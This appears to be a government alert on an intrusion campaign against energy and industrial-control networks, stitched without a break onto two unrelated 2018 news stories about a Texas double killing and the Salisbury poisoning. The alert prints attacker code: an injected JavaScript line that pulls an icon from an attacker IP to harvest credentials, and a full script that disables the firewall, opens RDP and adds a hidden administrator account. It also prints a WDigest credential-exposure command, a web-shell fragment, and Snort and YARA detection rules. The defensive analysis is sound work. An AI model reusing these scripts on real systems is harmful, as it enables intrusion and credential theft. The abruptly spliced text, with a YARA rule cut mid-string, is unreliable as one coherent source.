One of the threat actors' primary uses for staging targets was to develop watering holes. Threat actors compromised the infrastructure of trusted organizations to reach intended targets. [3] Approximately half of the known watering holes are trade publications and informational websites related to process control, ICS, or critical infrastructure. Although these watering holes may host legitimate content developed by reputable organizations, the threat actors altered websites to contain and reference malicious content. The threat actors used legitimate credentials to access and directly modify the website content. The threat actors modified these websites by altering JavaScript and PHP files to request a file icon using SMB from an IP address controlled by the threat actors. This request accomplishes a similar technique observed in the spear-phishing documents for credential harvesting. In one instance, the threat actors added a line of code into the file ''header.php'', a legitimate PHP file that carried out the redirected traffic.
In another instance, the threat actors modified the JavaScript file, ''modernizr.js'', a legitimate JavaScript library used by the website to detect various aspects of the user's browser. The file was modified to contain the contents below:
var i = document.createElement("img");
i.src = "file[:]//184.154.150[.]66/ame_icon.png";
i.width = 3;
i.height=2;
Stage 3: Delivery
When compromising staging target networks, the threat actors used spear-phishing emails that differed from previously reported TTPs. The spear-phishing emails used a generic contract agreement theme (with the subject line ''AGREEMENT & Confidential'') and contained a generic PDF document titled ``document.pdf. (Note the inclusion of two single back ticks at the beginning of the attachment name.) The PDF was not malicious and did not contain any active code. The document contained a shortened URL that, when clicked, led users to a website that prompted the user for email address and password. (Note: no code within the PDF initiated a download.)
In previous reporting, DHS and FBI noted that all of these spear-phishing emails referred to control systems or process control systems. The threat actors continued using these themes specifically against intended target organizations. Email messages included references to common industrial control equipment and protocols. The emails used malicious Microsoft Word attachments that appeared to be legitimate r(C)sum(C)s or curricula vitae (CVs) for industrial control systems personnel, and invitations and policy documents to entice the user to open the attachment.
Stage 4: Exploitation
The threat actors used distinct and unusual TTPs in the phishing campaign directed at staging targets. Emails contained successive redirects to http://bit[.]ly/2m0x8IH link, which redirected to http://tinyurl[.]com/h3sdqck link, which redirected to the ultimate destination of http://imageliners[.]com/nitel. The imageliner[.]com website contained input fields for an email address and password mimicking a login page for a website.
When exploiting the intended targets, the threat actors used malicious .docx files to capture user credentials. The documents retrieved a file through a ''file://'' connection over SMB using Transmission Control Protocol (TCP) ports 445 or 139. This connection is made to a command and control (C2) server'--either a server owned by the threat actors or that of a victim. When a user attempted to authenticate to the domain, the C2 server was provided with the hash of the password. Local users received a graphical user interface (GUI) prompt to enter a username and password, and the C2 received this information over TCP ports 445 or 139. (Note: a file transfer is not necessary for a loss of credential information.) Symantec's report associates this behavior to the Dragonfly threat actors in this campaign. [1]
Stage 5: Installation
The threat actors leveraged compromised credentials to access victims' networks where multi-factor authentication was not used. [4] To maintain persistence, the threat actors created local administrator accounts within staging targets and placed malicious files within intended targets.
Establishing Local Accounts
The threat actors used scripts to create local administrator accounts disguised as legitimate backup accounts. The initial script ''symantec_help.jsp'' contained a one-line reference to a malicious script designed to create the local administrator account and manipulate the firewall for remote access. The script was located in ''C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\tomcat\webapps\ROOT\''.
Contents of symantec_help.jsp
____________________________________________________________________________________________________________________
____________________________________________________________________________________________________________________
The script ''enu.cmd'' created an administrator account, disabled the host-based firewall, and globally opened port 3389 for Remote Desktop Protocol (RDP) access. The script then attempted to add the newly created account to the administrators group to gain elevated privileges. This script contained hard-coded values for the group name ''administrator'' in Spanish, Italian, German, French, and English.
Contents of enu.cmd
____________________________________________________________________________________________________________________
netsh firewall set opmode disable
netsh advfirewall set allprofiles state off
reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List" /v 3389:TCP /t REG_SZ /d "3389:TCP:*:Enabled:Remote Desktop" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\GloballyOpenPorts\List" /v 3389:TCP /t REG_SZ /d "3389:TCP:*:Enabled:Remote Desktop" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core" /v EnableConcurrentSessions /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v EnableConcurrentSessions /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AllowMultipleTSSessions /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v MaxInstanceCount /t REG_DWORD /d 100 /f
net user MS_BACKUP /add
net localgroup Administrators /add MS_BACKUP
net localgroup Administradores /add MS_BACKUP
net localgroup Amministratori /add MS_BACKUP
net localgroup Administratoren /add MS_BACKUP
net localgroup Administrateurs /add MS_BACKUP
net localgroup "Remote Desktop Users" /add MS_BACKUP
net user MS_BACKUP /expires:never
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v MS_BACKUP /t REG_DWORD /d 0 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v dontdisplaylastusername /t REG_DWORD /d 1 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
sc config termservice start= auto
net start termservice
____________________________________________________________________________________________________________________
DHS observed the threat actors using this and similar scripts to create multiple accounts within staging target networks. Each account created by the threat actors served a specific purpose in their operation. These purposes ranged from the creation of additional accounts to cleanup of activity. DHS and FBI observed the following actions taken after the creation of these local accounts:
Account 1: Account 1 was named to mimic backup services of the staging target. This account was created by the malicious script described earlier. The threat actor used this account to conduct open-source reconnaissance and remotely access intended targets.
Account 2: Account 1 was used to create Account 2 to impersonate an email administration account. The only observed action was to create Account 3.
Account 3: Account 3 was created within the staging victim's Microsoft Exchange Server. A PowerShell script created this account during an RDP session while the threat actor was authenticated as Account 2. The naming conventions of the created Microsoft Exchange account followed that of the staging target (e.g., first initial concatenated with the last name).
Account 4: In the latter stage of the compromise, the threat actor used Account 1 to create Account 4, a local administrator account. Account 4 was then used to delete logs and cover tracks.
Scheduled Task
In addition, the threat actors created a scheduled task named reset, which was designed to automatically log out of their newly created account every eight hours.
VPN Software
After achieving access to staging targets, the threat actors installed tools to carry out operations against intended victims. On one occasion, threat actors installed the free version of FortiClient, which they presumably used as a VPN client to connect to intended target networks.
Password Cracking Tools
Consistent with the perceived goal of credential harvesting, the threat actors dropped and executed open source and free tools such as Hydra, SecretsDump, and CrackMapExec. The naming convention and download locations suggest that these files were downloaded directly from publically available locations such as GitHub. Forensic analysis indicates that many of these tools were executed during the timeframe in which the actor was accessing the system. Of note, the threat actors installed Python 2.7 on a compromised host of one staging victim, and a Python script was seen at C:\Users\\Desktop\OWAExchange\.
Downloader
Once inside of an intended target's network, the threat actor downloaded tools from a remote server. The initial versions of the file names contained .txt extensions and were renamed to the appropriate extension, typically .exe or .zip.
In one example, after gaining remote access to the network of an intended victim, the threat actor carried out the following actions:
The threat actor connected to 91.183.104[.]150 and downloaded multiple files, specifically the file INST.txt.The files were renamed to new extensions, with INST.txt being renamed INST.exe.The files were executed on the host and then immediately deleted.The execution of INST.exe triggered a download of ntdll.exe, and shortly after, ntdll.exe appeared in the running process list of the compromised system of an intended target.The registry value ''ntdll'' was added to the ''HKEY_USERS\\Software\Microsoft\Windows\CurrentVersion\Run'' key.
Persistence Through .LNK File Manipulation
The threat actors manipulated LNK files, commonly known as a Microsoft Window's shortcut file, to repeatedly gather user credentials. Default Windows functionality enables icons to be loaded from a local or remote Windows repository. The threat actors exploited this built-in Windows functionality by setting the icon path to a remote server controller by the actors. When the user browses to the directory, Windows attempts to load the icon and initiate an SMB authentication session. During this process, the active user's credentials are passed through the attempted SMB connection.
Four of the observed LNK files were ''SETROUTE.lnk'', ''notepad.exe.lnk'', ''Document.lnk'' and ''desktop.ini.lnk''. These names appeared to be contextual, and the threat actor may use a variety of other file names while using this tactic. Two of the remote servers observed in the icon path of these LNK files were 62.8.193[.]206 and 5.153.58[.]45. Below is the parsed content of one of the LNK files:
Parsed output for file: desktop.ini.lnk
Registry Modification
The threat actor would modify key systems to store plaintext credentials in memory. In one instance, the threat actor executed the following command.
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 1 /f
Stage 6: Command and Control
The threat actors commonly created web shells on the intended targets' publicly accessible email and web servers. The threat actors used three different filenames (''global.aspx, autodiscover.aspx and index.aspx) for two different webshells. The difference between the two groups was the ''public string Password'' field.
Beginning Contents of the Web Shell
____________________________________________________________________________________________________________________
public string Password = "";
public string z_progname = "z_WebShell";
'...
____________________________________________________________________________________________________________________
Stage 7: Actions on Objectives
DHS and FBI identified the threat actors leveraging remote access services and infrastructure such as VPN, RDP, and Outlook Web Access (OWA). The threat actors used the infrastructure of staging targets to connect to several intended targets.
Internal Reconnaissance
Upon gaining access to intended victims, the threat actors conducted reconnaissance operations within the network. DHS observed the threat actors focusing on identifying and browsing file servers within the intended victim's network.
Once on the intended target's network, the threat actors used privileged credentials to access the victim's domain controller typically via RDP. Once on the domain controller, the threat actors used the batch scripts ''dc.bat'' and ''dit.bat'' to enumerate hosts, users, and additional information about the environment. The observed outputs (text documents) from these scripts were:
admins.txtcompleted_dclist.txtcompleted_trusts.txtcompleted_zone.txtcomps.txtconditional_forwarders.txtdomain_zone.txtenum_zones.txtusers.txtThe threat actors also collected the files ''ntds.dit'' and the ''SYSTEM'' registry hive. DHS observed the threat actors compress all of these files into archives named ''SYSTEM.zip'' and ''comps.zip''.
The threat actors used Windows' scheduled task and batch scripts to execute ''scr.exe'' and collect additional information from hosts on the network. The tool ''scr.exe'' is a screenshot utility that the threat actor used to capture the screen of systems across the network. The MD5 hash of ''scr.exe'' matched the MD5 of ScreenUtil, as reported in the Symantec Dragonfly 2.0 report.
In at least two instances, the threat actors used batch scripts labeled ''pss.bat'' and ''psc.bat'' to run the PsExec tool. Additionally, the threat actors would rename the tool PsExec to ''ps.exe''.
The batch script (''pss.bat'' or ''psc.bat'') is executed with domain administrator credentials.The directory ''out'' is created in the user's %AppData% folder.PsExec is used to execute ''scr.exe'' across the network and to collect screenshots of systems in ''ip.txt''.The screenshot's filename is labeled based on the computer name of the host and stored in the target's C:\Windows\Temp directory with a ''.jpg'' extension.The screenshot is then copied over to the newly created ''out'' directory of the system where the batch script was executed.In one instance, DHS observed an ''out.zip'' file created.DHS observed the threat actors create and modify a text document labeled ''ip.txt'' which is believed to have contained a list of host information. The threat actors used ''ip.txt'' as a source of hosts to perform additional reconnaissance efforts. In addition, the text documents ''res.txt'' and ''err.txt'' were observed being created as a result of the batch scripts being executed. In one instance, ''res.txt'' contained output from the Windows' command ''query user'' across the network.
Using
Running -s cmd /c query user on
Running -s cmd /c query user on
Running -s cmd /c query user on
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
2 Disc 1+19:34 6/27/2017 12:35 PM
An additional batch script named ''dirsb.bat'' was used to gather folder and file names from hosts on the network.
In addition to the batch scripts, the threat actors also used scheduled tasks to collect screenshots with ''scr.exe''. In two instances, the scheduled tasks were designed to run the command ''C:\Windows\Temp\scr.exe'' with the argument ''C:\Windows\Temp\scr.jpg''. In another instance, the scheduled task was designed to run with the argument ''pss.bat'' from the local administrator's ''AppData\Local\Microsoft\'' folder.
The threat actors commonly executed files out of various directories within the user's AppData or Downloads folder. Some common directory names were
Chromex64,Microsoft_Corporation,NT,Office365,Temp, andUpdate.
Targeting of ICS and SCADA Infrastructure
In multiple instances, the threat actors accessed workstations and servers on a corporate network that contained data output from control systems within energy generation facilities. The threat actors accessed files pertaining to ICS or supervisory control and data acquisition (SCADA) systems. Based on DHS analysis of existing compromises, these files were named containing ICS vendor names and ICS reference documents pertaining to the organization (e.g., ''SCADA WIRING DIAGRAM.pdf'' or ''SCADA PANEL LAYOUTS.xlsx'').
The threat actors targeted and copied profile and configuration information for accessing ICS systems on the network. DHS observed the threat actors copying Virtual Network Connection (VNC) profiles that contained configuration information on accessing ICS systems. DHS was able to reconstruct screenshot fragments of a Human Machine Interface (HMI) that the threat actors accessed.
Cleanup and Cover Tracks
In multiple instances, the threat actors created new accounts on the staging targets to perform cleanup operations. The accounts created were used to clear the following Windows event logs: System, Security, Terminal Services, Remote Services, and Audit. The threat actors also removed applications they installed while they were in the network along with any logs produced. For example, the Fortinet client installed at one commercial facility was deleted along with the logs that were produced from its use. Finally, data generated by other accounts used on the systems accessed were deleted.
Threat actors cleaned up intended target networks through deleting created screenshots and specific registry keys. Through forensic analysis, DHS determined that the threat actors deleted the registry key associated with terminal server client that tracks connections made to remote systems. The threat actors also deleted all batch scripts, output text documents and any tools they brought into the environment such as ''scr.exe''.
Detection and Response
IOCs related to this campaign are provided within the accompanying .csv and .stix files of this alert. DHS and FBI recommend that network administrators review the IP addresses, domain names, file hashes, network signatures, and YARA rules provided, and add the IPs to their watchlists to determine whether malicious activity has been observed within their organization. System owners are also advised to run the YARA tool on any system suspected to have been targeted by these threat actors.
Network Signatures and Host-Based Rules
This section contains network signatures and host-based rules that can be used to detect malicious activity associated with threat actor TTPs. Although these network signatures and host-based rules were created using a comprehensive vetting process, the possibility of false positives always remains.
Network Signatures
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/aspnet_client/system_web/4_0_30319/update/' (Beacon)"; sid:42000000; rev:1; flow:established,to_server; content:"/aspnet_client/system_web/4_0_30319/update/"; http_uri; fast_pattern:only; classtype:bad-unknown; metadata:service http;)
___________________________________
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/img/bson021.dat'"; sid:42000001; rev:1; flow:established,to_server; content:"/img/bson021.dat"; http_uri; fast_pattern:only; classtype:bad-unknown; metadata:service http;)
________________________________________
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI contains '/A56WY' (Callback)"; sid:42000002; rev:1; flow:established,to_server; content:"/A56WY"; http_uri; fast_pattern; classtype:bad-unknown; metadata:service http;)
_________________________________________
alert tcp any any -> any 445 (msg:"SMB Client Request contains 'AME_ICON.PNG' (SMB credential harvesting)"; sid:42000003; rev:1; flow:established,to_server; content:"|FF|SMB|75 00 00 00 00|"; offset:4; depth:9; content:"|08 00 01 00|"; distance:3; content:"|00 5c 5c|"; distance:2; within:3; content:"|5c|AME_ICON.PNG"; distance:7; fast_pattern; classtype:bad-unknown; metadata:service netbios-ssn;)
________________________________________
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI OPTIONS contains '/ame_icon.png' (SMB credential harvesting)"; sid:42000004; rev:1; flow:established,to_server; content:"/ame_icon.png"; http_uri; fast_pattern:only; content:"OPTIONS"; nocase; http_method; classtype:bad-unknown; metadata:service http;)
_________________________________________
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP Client Header contains 'User-Agent|3a 20|Go-http-client/1.1'"; sid:42000005; rev:1; flow:established,to_server; content:"User-Agent|3a 20|Go-http-client/1.1|0d 0a|Accept-Encoding|3a 20|gzip"; http_header; fast_pattern:only; pcre:"/\.(?:aspx|txt)\?[a-z0-9]{3}=[a-z0-9]{32}&/U"; classtype:bad-unknown; metadata:service http;)
__________________________________________
alert tcp $EXTERNAL_NET [139,445] -> $HOME_NET any (msg:"SMB Server Traffic contains NTLM-Authenticated SMBv1 Session"; sid:42000006; rev:1; flow:established,to_client; content:"|ff 53 4d 42 72 00 00 00 00 80|"; fast_pattern:only; content:"|05 00|"; distance:23; classtype:bad-unknown; metadata:service netbios-ssn;)
YARA Rules
This is a consolidated rule set for malware associated with this activity. These rules were written by NCCIC and include contributions from trusted partners.
*/
rule APT_malware_1
{
meta:
description = "inveigh pen testing tools & related artifacts"
author = "DHS | NCCIC Code Analysis Team"
date = "2017/07/17"
hash0 = "61C909D2F625223DB2FB858BBDF42A76"
hash1 = "A07AA521E7CAFB360294E56969EDA5D6"
hash2 = "BA756DD64C1147515BA2298B6A760260"
hash3 = "8943E71A8C73B5E343AA9D2E19002373"
hash4 = "04738CA02F59A5CD394998A99FCD9613"
hash5 = "038A97B4E2F37F34B255F0643E49FC9D"
hash6 = "65A1A73253F04354886F375B59550B46"
hash7 = "AA905A3508D9309A93AD5C0EC26EBC9B"
hash8 = "5DBEF7BDDAF50624E840CCBCE2816594"
hash9 = "722154A36F32BA10E98020A8AD758A7A"
hash10 = "4595DBE00A538DF127E0079294C87DA0"
strings:
$s0 = "file://"
$s1 = "/ame_icon.png"
$s2 = "184.154.150.66"
$s3 = { 87D081F60C67F5086A003315D49A4000F7D6E8EB12000081F7F01BDD21F7DE }
$s4 = { 33C42BCB333DC0AD400043C1C61A33C3F7DE33F042C705B5AC400026AF2102 }
$s5 = "(g.charCodeAt(c)^l[(l[b]+l[e])%256])"
$s6 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"
$s7 = "VXNESWJfSjY3grKEkEkRuZeSvkE="
$s8 = "NlZzSZk="
$s9 = "WlJTb1q5kaxqZaRnser3sw=="
$s10 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"
$s11 = "fromCharCode(d.charCodeAt(e)^k[(k[b]+k[h])%256])"
$s12 = "ps.exe -accepteula \\%ws% -u %user% -p %pass% -s cmd /c netstat"
$s13 = { 22546F6B656E733D312064656C696D733D5C5C222025254920494E20286C6973742E74787429 }
$s14 = { 68656C6C2E657865202D6E6F65786974202D657865637574696F6E706F6C69637920627970617373202D636F6D6D616E6420222E202E5C496E76656967682E70 }
$s15 = { 476F206275696C642049443A202266626433373937623163313465306531 }
//inveigh pentesting tools
$s16 = { 24696E76656967682E7374617475735F71756575652E4164642822507265737320616E79206B657920746F2073746F70207265616C2074696D65 }
//specific malicious word document PK archive
$s17 = { 2F73657474696E67732E786D6CB456616FDB3613FEFE02EF7F10F4798E64C54D06A14ED125F19A225E87C9FD0194485B }
$s18 = { 6C732F73657474696E67732E786D6C2E72656C7355540500010076A41275780B0001040000000004000000008D90B94E03311086EBF014D6F4D87B48214471D2 }
$s19 = { 8D90B94E03311086EBF014D6F4D87B48214471D210A41450A0E50146EBD943F8923D41C9DBE3A54A240ACA394A240ACA39 }
$s20 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }
$s21 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }
$s22 = "5.153.58.45"
$s23 = "62.8.193.206"
$s24 = "/1/ree_stat/p"
$s25 = "/icon.png"
$s26 = "/pshare1/icon"
$s27 = "/notepad.png"
$s28 = "/pic.png"
$s29 = "http://bit.ly/2m0x8IH"
condition:
($s0 and $s1 or $s2) or ($s3 or $s4) or ($s5 and $s6 or $s7 and $s8 and $s9) or ($s10 and $s11) or ($s12 and $s13) or ($s14) or ($s15) or ($s16) or ($s17) or ($s18) or ($s19) or ($s20) or ($s21) or ($s0 and $s22 or $s24) or ($s0 and $s22 or $s25) or ($s0 and $s23 or $s26) or ($s0 and $s22 or $s27) or ($s0 and $s23 or $s28) or ($s29)
}
rule APT_malware_2
{
meta:
description = "rule detects malware"
author = "other"
strings:
$api_hash = { 8A 08 84 C9 74 0D 80 C9 60 01 CB C1 E3 01 03 45 10 EB ED }
$http_push = "X-mode: push" nocase
$http_pop = "X-mode: pop" nocase
condition:
any of them
}
rule Query_XML_Code_MAL_DOC_PT_2
{
meta:
name= "Query_XML_Code_MAL_DOC_PT_2"
author = "other"
strings:
$zip_magic = { 50 4b 03 04 }
$dir1 = "word/_rels/settings.xml.rels"
$bytes = {8c 90 cd 4e eb 30 10 85 d7}
condition:
$zip_magic at 0 and $dir1 and $bytes
}
rule Query_Javascript_Decode_Function
{
meta:
name= "Query_Javascript_Decode_Function"
author = "other"
strings:
$decode1 = {72 65 70 6C 61 63 65 28 2F 5B 5E 41 2D 5A 61 2D 7A 30 2D 39 5C 2B 5C 2F 5C 3D 5D 2F 67 2C 22 22 29 3B}
$decode2 = {22 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 30 31 32 33 34 35 36 37 38 39 2B 2F 3D 22 2E 69 6E 64 65 78 4F 66 28 ?? 2E 63 68 61 72 41 74 28 ?? 2B 2B 29 29}
$decode3 = {3D ?? 3C 3C 32 7C ?? 3E 3E 34 2C ?? 3D 28 ?? 26 31 35 29 3C 3C 34 7C ?? 3E 3E 32 2C ?? 3D 28 ?? 26 33 29 3C 3C 36 7C ?? 2C ?? 2B 3D [1-2] 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29 2C 36 34 21 3D ?? 26 26 28 ?? 2B 3D 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29}
$decode4 = {73 75 62 73 74 72 69 6E 67 28 34 2C ?? 2E 6C 65 6E 67 74 68 29}
$func_call="a(\""
condition:
filesize < > 20 and all of ($decode*)
}
rule Query_XML_Code_MAL_DOC
{
meta:
name= "Query_XML_Code_MAL_DOC"
author = "other"
strings:
$zip_magic = { 50 4b 03 04 }
$dir = "word/_rels/" ascii
$dir2 = "word/theme/theme1.xml" ascii
$style = "word/styles.xml" ascii
condition:
$zip_magic at 0 and $dir at 0x0145 and $dir2 at 0x02b7 and $style at 0x08fd
}
rule z_webshell
{
meta:
description = "Detection for the z_webshell"
author = "DHS NCCIC Hunt and Incident Response Team"
date = "2018/01/25"
md5 = "2C9095C965A55EFC46E16B86F9B7D6C6"
strings:
$aspx_identifier1 = "
New details emerge in double slaying - Seguin Gazette: News
Sun, 18 Mar 2018 14:02
The physician accused of shooting a couple in front of his mother's house allegedly believed the pair were members of ''the Russian mob'' who were sent to kill his mother, according to court documents.
New details in the slaying of 30-year-old Tiffany Strait and 27-year-old Anthony Strait have emerged from the records.
Robert Edward Fadal II is accused of shooting and killing the Straits while they were helping his mother on Feb. 25 in the 700 block of Timber Elm.
Deputies responded to a call for a reported shooting just before noon and found the couple suffering from gunshot wounds.
Anthony was pronounced dead at the scene while Tiffany was transported to Guadalupe Regional Medical Center where she later succumbed to her injuries.
As deputies began investigating, they were approached by Fadal, who allegedly admitted to the shooting, Sgt. Robert Murphy said in a court document.
''He was identified as the shooter when Robert Edward Fadal came out of his home and said that he was the shooter to responding deputies,'' Murphy wrote.
Fadal was detained and later booked into Guadalupe County Jail on a charge of capital murder multiple persons. He currently is being held on a $5 million bond.
In another document, Investigator Mark Zuazua wrote that Fadal told deputies where the guns were in his house and that there were no other suspects involved.
During a search of the house, deputies found ''a rifle and two handguns on a bed in an upstairs bedroom along with what appeared to be a rifle shell casing by the balcony door ... an additional shell casing was seen on the balcony of the same upstairs bedroom.''
Investigators believe this indicates the possible location where Fadal was when the shots were fired, Investigator Lt. Craig Jones said.
Fadal also reportedly told deputies that he shot the pair because he believed they were part of the ''Russian mob,'' Zuazua wrote.
''(Zuazua) was told that Robert Edward Fadal II admitted to firing on Anthony and Tiffany Strait as he believes they were part of the Russian Mob and he believed Anthony and Tiffany were at 783 Timber Elm to assault his mother,'' the document said. ''(Zuazua) was told Robert Edward Fadal had advised Sgt. (Patrick) Reynolds of a suicide note in his residence regarding the Russian Mob and events occurring within the stock market.''
In a subsequent interview with Investigator Sgt. Scott Humphrey, Fadal allegedly said '''he had killed two innocent people,' and that he lived a 'good and rich life,''' Murphy wrote in the document.
Fadal also reportedly told investigators that the ''Jewish community'' was threatening him through several electronic means after he ''investigated'' their involvement in the stock market, the document said.
''Robert Edward Fadal claimed to Sgt. Humphrey that the Jewish people control all the wealth and that 'they' were communicating threats to him (Fadal) via his computer, his car and his cell phone,'' Murphy wrote. ''Robert Edward Fadal ... appeared to be very calm, but seemed somewhat paranoid, by stating that he could not speak around anything that was connected to the internet or any radio systems.''
Murphy wrote that Fadal was so insistent about the conversation not being ''recorded via internet'' that he wouldn't speak with Humphrey until a digital wall clock was removed.
According to the documents, Fadal said he received many threats and started preparing to ''defend himself,'' Zuazua wrote.
''He believed that the persons in the 2005 GMC Sierra who had arrived at his mother's home were there to murder his mother in retaliation for his infiltration into the Jewish community,'' Murphy wrote.
During an additional search of the Fadal's property, officers turned up numerous firearms and live rounds, as well as several electronic devices and a hand-written letter.
Investigators continue to pour over the information and evidence gathered at the scene of the shooting and Fadal's property, while also awaiting toxicology results.
''Based on my training and experience this type of behavior is consistent with both methamphetamine use and/or prescription medication abuse,'' Murphy wrote. ''In my experience, people who abuse either methamphetamine and/or prescription medication often appear paranoid and or have a 'flat' effect which is apparent during the interview. Also, based on my training and experience, people who commit this kind of act for no apparent reasons are under the influence of some sort of substance.''
Police fear 131 people came into contact with Salisbury nerve agent | Daily Mail Online
Fri, 16 Mar 2018 23:52
Police appear no closer to knowing how a former Russian spy and his daughter were attacked 13 days ago as it was revealed 131 people in Salisbury may have been in contact with the deadly nerve agent.
Sergei Skripal could have been poisoned by the Novichok weapon after it was planted in his daughter's suitcase in Moscow, it also emerged today.
Intelligence agencies are working on the theory that was hidden in Yulia Skripal's luggage inside cosmetics or a gift and then opened in her father's house in Salisbury around March 4.
The Zizzi restaurant and The Mill Pub where they dined and drank shortly before collapsing will be shut for months on the advice of chemical weapons experts, MailOnline can reveal.
But detectives have still not said how and when Sergei and his daughter were poisoned and may not even know because Novichok is designed to be undetectable.
Wiltshire Police said last night that 131 people had not yet developed any symptoms but are being monitored via daily phone calls.
The nerve agent alert has also spread to Larkhill military base behind Stonehenge where experts in chemical protection suits towed away a car from outside houses belonging to Army officers.
Sergei and Yulia Skripal left a trail of nerve agent in the restaurant after their poisoning and 131 people may have come into contact with it, it emerged today
Skripal's maroon BMW is at the heart of the poison probe (pictured on CCTV) but sources have also said the nerve agent may have been smuggled into Britain in Yulia's suitcase
The nerve agent alert has also spread to Larkhill military base behind Stonehenge where experts in chemical protection suits towed away a car from outside houses belonging to Army officers
Diplomatic relations between Britain and Russia are at rock bottom after Theresa May blamed the Putin's Kremlin for the attack. Mr Putin is at a hospital in St Petersburg on the campaign trail
Police teams take swabs from railings that may have been touched by the Skripals before their collapse
Detectives have still not said how Sergei and his daughter were poisoned - and may not even know - as they follow the poison trail (pictured)
Russia announced today that Moscow has launched its own investigation into his murder and the attempted murder of Yulia Skripal.
Diplomatic relations between Britain and Russia are in crisis after Theresa May blamed the Kremlin for the attack and announced sanctions including the expulsion of 23 of its diplomats in London.
Vladimir Putin's spokesman Dmitry Peskov said today retaliation would be 'well thought out' and could 'come at any minute' after Britain's 'shocking and unforgiveable' decision to blame them for the Novichok attack.
The Zizzi restaurant, where former double agent Sergei Skripal, 66, and his daughter, Yulia, 33, dined shortly before being found incapacitated on a nearby bench on Sunday, remains sealed by green barriers and guarded by police.
The theories leaked from the Salisbury poison investigationDay 1: Sergei Skripal and his daughter Yulia were directly sprayed with the poison on the bench where they were found slumped.
Day 5: Investigators move away from the initial theory, suggesting they were poisoned by food or drink. This threw Zizzi and The Mill pub as possible locations for the attack.
Day 6: A new theory emerges - the poison was posted through Sergei Skripal's letterbox at his Salisbury home.
Day 7: Officers dug up Skripal's wife's grave as they scoured the city for clues. During this exercise, it was thought a bouquet of flowers were laced with the toxin, causing the former spy to be rendered unconscious.
Day 10: Sergei Skripal's maroon BMW is thrust into the heart of the probe as it is suggested the poison was introduced to the car's ventilation system. Hours later, a leak suggests the vehicles door handles were smeared with the deadly Novichok nerve agent.
Day 12: Yulia Skripal could have been the true target of the attack as part, it was claimed. A relative said her boyfriend's mother, a highly-ranked Russian security official, was upset they wanted to start a family.
Day 13: The latest theory to be banded around by sources is that Yulia Skripal's luggage was contaminated before travelling from Russia.
The Mill Pub in the Maltings, where the pair are believed to have visited before walking 160yards down the road to the restaurant, is also closed and surrounded by police tape.
The two venues were sealed on Monday 5 March, the day after the poisoning. There are currently no plans to reopen them to the public while experts struggle to collect evidence and make them safe.
The decision was based on advice from specialists at Porton Down, the Ministry of Defence's chemical research facility, according to a police source.
The source told MailOnline: 'As part of the ongoing police investigation, Zizzi and The Mill will be closed for the foreseeable future.
'We expect both premises to remain sealed for several months following advice from Porton Down.'
Deputy Chief Constable Paul Mills says 131 people are being monitored and 46 people have attended hospital with concerns they could have been contaminated but only three '' Sergei and Yulia Skripal and Detective Sergeant Nick Bailey '' have tested positive.
DS Bailey, who was among the first on the scene after the Skripals were found collapsed, was conscious and in a serious but stable condition.
Mr Mills said: 'We have identified 131 people who potentially could have come in contact with the nerve agent.'
Thirteen days after Sergei Skripal and his daughter Yulia were attacked with a nerve agent in Salisbury, police appear to be no nearer any answers as to how the pair were poisoned.
Theories include food poisoning, a bouquet of flowers laced with the deadly substance Novichok and the lethal toxin being smeared on the former agent's car door handle - but police have refused to say anything at all about it.
Now, it is understood investigators have turned their attentions to Yulia's suitcase in a bid to find out exactly how she and her father ended up fighting for their lives after falling unconscious on March 4, sources told The Daily Telegraph.
But Scotland Yard's top officers are still keeping the public in the dark and a series of conflicting leaks from the investigation suggests they are no nearer the truth.
The suitcase theory is the latest in a long line of apparent guesses which have leaked from the investigation.
Andrei Lugovoy, the prime suspect in the murder of Alexander Litvinenko, was the first to offer an opinion, suggesting the pair had come down with a severe bout of food poisoning.
The initial theory from police was that the nerve agent, initially unknown, was sprayed directly at the pair on Sunday, March 4.
